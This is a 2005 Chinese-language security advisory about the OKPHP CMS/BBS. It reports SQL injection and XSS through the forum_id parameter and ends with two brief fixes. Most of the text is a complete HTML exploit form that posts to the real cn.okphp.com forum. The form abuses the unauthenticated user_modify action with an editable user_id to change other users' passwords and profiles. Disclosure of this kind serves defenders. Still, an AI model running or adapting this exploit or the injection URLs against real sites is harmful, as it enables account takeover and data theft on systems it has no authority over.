本文作者:SuperHei 文章性质:原创 发布日期:2005-08-14
程序描叙
OKPHP是由www.okphp.com开发一套专业的网站管理系统,目前产品包括:Okphp CMS, Okphp BBS,Okphp BLOG。由于对变量的过滤不严密及密码认证不严,导致sql注射,xss,隐藏变量post攻击从跨权限操作。
漏洞攻击
1、SQl注射及xss
“几乎” 存在于各个变量里,如:forum.php
http://www.xxx.com/forum.php?action=view_forum&forum_id={sql} http://cn.okphp.com/forum.php?action=view_forum&forum_id='xss .......
2、隐藏变量post攻击
在提交request.php?action=user_modify 修改用户资料时,没有密码认证导致通过user_id修改容易用户密码及资料;
Exp:
<html> <head> <title>Okphp Discussions - powered by okphp BBS</title> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <link href="bbs/themes/default/css/darkblue/css.css" rel="stylesheet" type="text/css"> </head> <body bgcolor="#CCCCCC" text="#000000"> <table class="forumline2" cellspacing="1" cellpadding="3" border="0"> <form name="form1" method="post" action="http://cn.okphp.com/forum.php" enctype="multipart/form-data"> <tr> <th colspan="2" background="bbs/themes/default/images/darkblue/th_bg.gif">修改信息</th> </tr> <tr class="row1"> </tr> <tr class="row2"> <td width="20%" valign="top" align="right">密码</td> <td width="80%"> <p> <input type="password" name="password1" size="20"> 重复输入 <input type="password" name="password2" size="20"> </p> </td> </tr> <tr class="row2"> <td width="20%" valign="top" align="right" rowspan="2">头像地址</td> <td width="80%"> <p> <input type="text" name="headpic" size="80" value="http://cn.okphp.com/bbs/images/headp/836.gif"> <br> 宽度 <input type="text" name="h_width" size="3" value="0"> px,长度 <input type="text" name="h_height" size="3" value="0"> px (最大限制:100px)</p> </td> </tr> <tr class="row2"> <td width="80%"> <input type="file" name="upfile"> </td> </tr> <tr class="row1"> <td width="20%" height="2" align="right">电子邮件</td> <td width="80%" height="2"> <input type="text" name="email" size="20" value="[email protected]"> </td> </tr> <tr class="row2"> <td width="20%" valign="top" align="right">签名</td> <td width="80%"> <p> <textarea name="sig" cols="50" rows="5"></textarea> </p> </td> </tr> <tr class="row1"> <td width="20%" height="2" align="right">用户简介</td> <td width="80%" height="2"> <textarea name="intr" cols="50" rows="5"></textarea> </td> </tr> <tr class="row2" align="center"> <td colspan="2" height="2"> <input type="hidden" name="action" value="user_modify"> <input type="hidden" name="step" value="2"> <input type="text" name="user_id" value="836"> <input type="hidden" name="md5pass" value="{md5pass}"> <input type="submit" name="Submit" value="Submit" class="catbutton"> </td> </tr> </form> </table> </body> </html>
解决办法
1、加强对变量过滤 2、增加密码认证
|